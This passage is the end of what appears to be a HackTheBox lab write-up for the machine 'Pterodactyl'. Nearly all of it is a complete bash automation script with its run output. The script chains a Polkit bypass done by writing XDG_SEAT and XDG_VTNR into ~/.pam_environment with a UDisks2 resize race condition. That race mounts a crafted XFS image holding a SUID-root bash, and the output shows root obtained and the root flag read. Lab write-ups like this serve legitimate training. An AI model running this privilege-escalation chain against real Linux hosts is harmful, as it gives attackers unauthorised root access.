echo "[+] Step 1: Creating malicious XFS image with SUID bash..."
cd /tmp
rm -f xfs.image
dd if=/dev/zero of=xfs.image bs=1M count=$IMAGE_SIZE
mkfs.xfs -q xfs.image

# Mount and prepare the image
sudo mkdir -p /mnt/xfs_mnt
sudo mount -t xfs xfs.image /mnt/xfs_mnt

# Download bash from target and prepare SUID version
echo "[+] Downloading bash from target..."
scp -o StrictHostKeyChecking=no ${TARGET}:/bin/bash /tmp/target_bash <<EOF
${PASSWORD}
EOF

sudo cp /tmp/target_bash /mnt/xfs_mnt/bash
sudo chown root:root /mnt/xfs_mnt/bash
sudo chmod 4755 /mnt/xfs_mnt/bash
sudo umount /mnt/xfs_mnt

echo "[+] Malicious XFS image created successfully"
echo ""

# Step 2: Upload the image to target
echo "[+] Step 2: Uploading malicious XFS image to target..."
scp -o StrictHostKeyChecking=no /tmp/xfs.image ${TARGET}:/tmp/xfs.image <<EOF
${PASSWORD}
EOF
echo "[+] Image uploaded to /tmp/xfs.image on target"
echo ""

# Step 3: Execute Polkit bypass (CVE-2025-6018)
echo "[+] Step 3: Executing Polkit bypass..."
sshpass -p "${PASSWORD}" ssh -o StrictHostKeyChecking=no ${TARGET} << 'ENDSSH'
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
echo "Polkit bypass variables written to ~/.pam_environment"
echo "You will need to logout and login again for this to take effect"
ENDSSH

echo ""
echo "[!] IMPORTANT: You must logout and login again for Polkit bypass to work"
echo "[!] Run: ssh ${TARGET}"
echo "[!] Then re-run this script or execute the exploit manually"
echo ""

# Step 4: Execute UDisks2 race condition exploit (CVE-2025-6019)
echo "[+] Step 4: Executing UDisks2 race condition exploit..."
sshpass -p "${PASSWORD}" ssh -o StrictHostKeyChecking=no ${TARGET} << 'ENDSSH'
# Kill interfering process
pkill -KILL gvfs-udisks2-volume-monitor 2>/dev/null
echo "[+] Killed gvfs-udisks2-volume-monitor"

# Set up loop device from malicious XFS image
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction 2>&1 | grep -oP "/dev/loop\d+")
echo "[+] Loop device created: $LOOP_DEV"

# Start background watcher
(
while true; do
for dev in /tmp/blockdev*; do
if [ -d "$dev" ] && [ -x "$dev/bash" ]; then
echo "[+] Caught SUID bash at $dev/bash"
"$dev/bash" -p -c "id; cat /root/root.txt" > /tmp/root_out.txt 2>&1
break 2
fi
done
sleep 0.001
done
) &
WATCHER_PID=$!
echo "[+] Started background watcher (PID: $WATCHER_PID)"

# Trigger the vulnerable resize
echo "[+] Triggering UDisks2 resize vulnerability..."
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/$(basename "$LOOP_DEV") \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}" 2>/dev/null

# Wait for the watcher to catch the race
echo "[+] Waiting for race condition to trigger..."
sleep 10

# Clean up
kill $WATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null

# Check result
if [ -f /tmp/root_out.txt ]; then
echo ""
echo "[+] SUCCESS! Exploit worked!"
echo "[+] Root privileges obtained:"
cat /tmp/root_out.txt
else
echo "[-] Exploit failed - no output file found"
echo "You may need to try again or re-login for Polkit bypass"
fi
ENDSSH

echo ""
echo "[*] Exploit automation complete"

Note: between step 3 and step 4 you do have to reconnect at least once, since pam_env only re-reads ~/.pam_environment at login. Running it end-to-end:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ ./auto.sh
[*] HTB Pterodactyl Root Exploit Automation
[*] Target: [email protected]

[+] Step 1: Creating malicious XFS image with SUID bash...
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.119294 s, 2.6 GB/s
[+] Downloading bash from target...
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
([email protected]) Password:
bash 100% 989KB 164.4KB/s 00:06
[+] Malicious XFS image created successfully

[+] Step 2: Uploading malicious XFS image to target...
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
([email protected]) Password:
xfs.image 100% 300MB 1.9MB/s 02:39
[+] Image uploaded to /tmp/xfs.image on target

[+] Step 3: Executing Polkit bypass...
Pseudo-terminal will not be allocated because stdin is not a terminal.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Have a lot of fun...
Last login: Thu Feb 12 07:47:04 2026 from 10.10.16.4
Polkit bypass variables written to ~/.pam_environment
You will need to logout and login again for this to take effect

[!] IMPORTANT: You must logout and login again for Polkit bypass to work
[!] Run: ssh [email protected]
[!] Then re-run this script or execute the exploit manually

[+] Step 4: Executing UDisks2 race condition exploit...
Pseudo-terminal will not be allocated because stdin is not a terminal.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Have a lot of fun...
Last login: Thu Feb 12 07:47:04 2026 from 10.10.16.4
[+] Killed gvfs-udisks2-volume-monitor
[+] Loop device created: /dev/loop0
[+] Started background watcher (PID: 10894)
[+] Triggering UDisks2 resize vulnerability...
[+] Caught SUID bash at /tmp/blockdev.268OK3/bash
()
[+] Waiting for race condition to trigger...

[+] SUCCESS! Exploit worked!
[+] Root privileges obtained:
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
424979ba0aaeedf507d230b1d8945205

[*] Exploit automation complete

β”Œβ”€β”€(kaliγ‰Ώkali)-[~]

And that was it for Pterodactyl. Hope you learned something new!

-0xkujen

  • Title: Hackthebox: Pterodactyl
  • Author: Foued SAIDI
  • Created at : 2026-05-17 21:07:41
  • Updated at : 2026-05-17 22:46:09
  • Link: https://kujen5.github.io/2026/05/17/Hackthebox-Pterodactyl/
  • License: This work is licensed under CC BY-NC-SA 4.0.